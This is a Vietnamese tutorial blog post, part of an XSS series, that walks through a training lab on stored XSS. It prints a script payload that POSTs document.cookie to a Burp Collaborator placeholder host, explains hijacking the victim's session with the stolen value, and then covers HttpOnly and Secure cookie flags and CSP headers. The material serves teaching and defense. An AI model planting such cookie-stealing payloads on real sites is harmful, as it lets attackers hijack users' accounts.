+1

XSS vulnerabilities - Lỗ hổng XSS (Phần 5)

V. Khai thác các lỗ hổng XSS

1. Khai thác XSS đánh cắp cookies người dùng

Việc đánh cắp cookies nạn nhân qua lỗ hổng XSS thường được kẻ tấn công sử dụng phổ biến. Với các ứng dụng web sử dụng cookies để duy trì phiên đăng nhập người dùng, kẻ tấn công có thể lợi dụng lỗ hổng XSS nhằm đánh cắp cookies nạn nhân gửi đến domain do họ sở hữu. Từ đó thay thế giá trị cookies nhằm mạo danh nạn nhân. Thời gian mạo danh tùy thuộc vào khoảng thời gian cookie hết hạn (time out).

Chúng ta phân tích lab Exploiting cross-site scripting to steal cookies để hiểu rõ cách hoạt động của dạng tấn công này.

Người dùng có thể để lại bình luận trong các post. Thử bình luận với một payload kiểm tra XSS đơn giản <script>alert(1)</script>, chúng ta nhận thấy trang bình luận blog chứa lỗ hổng XSS dạng Stored:

image.png

Như vậy, có thể lợi dụng lỗ hổng này nhằm đánh cắp cookies từ người dùng truy cập trang bình luận này. Sử dụng Burp Collaborator làm nơi nhận dữ liệu cookie đánh cắp được gửi từ máy nạn nhân, chúng ta xây dựng payload như sau:

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>

Lưu ý cần thay BURP-COLLABORATOR-SUBDOMAIN thành domain được sinh ngẫu nhiên trong Burp Collaborator. Trong đoạn mã trên, fetch sẽ gửi một request HTTP với method POST đến URL https://BURP-COLLABORATOR-SUBDOMAIN. Request này không có tiêu đề và không yêu cầu phản hồi từ máy chủ (do có thuộc tính mode: 'no-cors'). Nội dung của request là giá trị cookie hiện tại của trình duyệt (thuộc tính body:document.cookie).

image.png

Khi người dùng truy cập tới trang bình luận đã bị chúng ta chèn script, đoạn script trên sẽ được thực thi, sử dụng lệnh fetch gửi dữ liệu tới địa chỉ sinh ra bởi Burp Collaborator do chúng ta sở hữu.

image.png

Kiểm tra thấy chúng ta đã nhận được request:

image.png

Trong request chứa dữ liệu là giá trị session người dùng. Lúc này, chỉ cần thay giá trị session của chúng ta bằng giá trị này là có thể giả mạo phiên đăng nhập nạn nhân:

image.png

image.png

Để ngăn chặn kẻ tấn công sử dụng lỗ hổng XSS đánh cắp cookies người dùng, chúng ta có một số ý tưởng như sau:

  • Điều đầu tiên tất nhiên là không để trang web xuất hiện lỗ hổng XSS rồi! (Diệt cỏ tận gốc)

Tham khảo các cách ngăn chặn ở các phần trước.

  • Sử dụng flag HttpOnlySecure flag cho cookies

Flag HttpOnly bảo vệ cookie khỏi việc truy cập trái phép từ browser. Chỉ lưu và gửi kèm cookie phản hồi từ client tới server. Việc hạn chế sự can thiệp từ trình duyệt giúp hạn chế rủi ro từ các cuộc tấn công đánh cắp cookie.

Ví dụ cách cài đặt flag HttpOnly với ngôn ngữ PHP như sau:

setcookie("myCookie", "myValue", time() + 3600, "/", "example.com", false, true);

Đoạn code trên đặt tùy chọn httponly có giá trị true, khi đó trang web cài đặt flag HttpOnly cho cookie.

Trong ngôn ngữ Node.js, chúng ta có thể sử dụng hàm res.setHeader() nhằm cài đặt header Set-Cookie với flag HttpOnly

res.setHeader('Set-Cookie', 'myCookie=myValue; HttpOnly');

Tuy nhiên, chỉ sử dụng flag HttpOnly là chưa đủ an toàn. Ví dụ, một kẻ tấn công có thể sử dụng một phần mềm độc hại để ghi đè các gói tin HTTP gửi từ trình duyệt của người dùng hoặc sử dụng một phần mềm sniffer mạng để đoán ra nội dung các cookie đang được gửi qua mạng, hay việc bảo mật ở phía client và browser tốt, nhưng lại sử dụng một phương thức transfer kém thì cookie chưa tới được tay người sử dụng đã bị mất.

Để khắc phục những hạn chế này, Secure flag ra đời. Secure flag là một flag khác của cookie trong HTTP headers. Khi một cookie được đánh dấu với Secure flag, nó chỉ được gửi qua mạng bằng cách sử dụng một kết nối an toàn bằng giao thức HTTPS. Điều này ngăn chặn các kẻ tấn công từ ghi đè hoặc sniff các gói tin HTTP chứa cookie.

Ví dụ cách cài đặt flag Secure với ngôn ngữ PHP như sau:

setcookie("myCookie", "myValue", time() + 3600, "/", "example.com", true, false);

Đoạn code trên đặt tùy chọn Secure có giá trị true, khi đó trang web cài đặt flag Secure cho cookie.

Trong ngôn ngữ Node.js, chúng ta có thể sử dụng hàm res.setHeader() nhằm cài đặt header Set-Cookie với flag Secure

res.setHeader('Set-Cookie', 'myCookie=myValue; secure');
  • Sử dụng Content security policies (CSP)

Content Security Policy (CSP) là một tính năng bảo mật của trình duyệt cho phép người quản trị trang web hoặc ứng dụng web định nghĩa những nguồn nào được phép tải vào trang web của họ. CSP có thể được sử dụng để ngăn chặn các tấn công XSS.

Đối với việc bảo vệ tấn công đánh cắp cookie, CSP có thể được sử dụng để ngăn chặn việc sử dụng mã JavaScript để truy cập vào cookie bằng cách chỉ định rõ những nguồn JavaScript được phép tải vào trang web. Ví dụ, nếu người quản trị trang web chỉ cho phép JavaScript tải từ máy chủ của họ, thì bất kỳ mã JavaScript nào được tích vào trang web từ một nguồn khác sẽ không được thực thi và không thể truy cập vào cookie.

Ví dụ về cách triển khai CSP trong HTTP response headers của một máy chủ Node.js:

app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', "default-src 'self'");
  next();
});

Quy tắc CSP trên chỉ định rằng chỉ các tài nguyên từ cùng một nguồn (trang hiện tại) mới được phép tải.

Chúng ta cũng có thể chỉ định danh sách các miền được phép cho một số loại tài nguyên, chẳng hạn như scripts, styles, và fonts. Ví dụ:

app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self' https://trusted-scripts.example.com; style-src 'self' https://trusted-styles.example.com; font-src 'self' https://trusted-fonts.example.com");
  next();
});

Quy tắc CSP trên cho phép các tài nguyên từ cùng một nguồn, cũng như script từ https://trusted-scripts.example.com, style từ https://trusted-styles.example.com và fonts từ https: //trusted-fonts.example.com sẽ được tải lên trang web.

  • Ngoài ra, chúng ta có thể sử dụng tường lửa (WAF) ngăn chặn dạng tấn công này. Và đừng quên thường xuyên kiểm tra update các phần mềm, công nghệ sử dụng.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.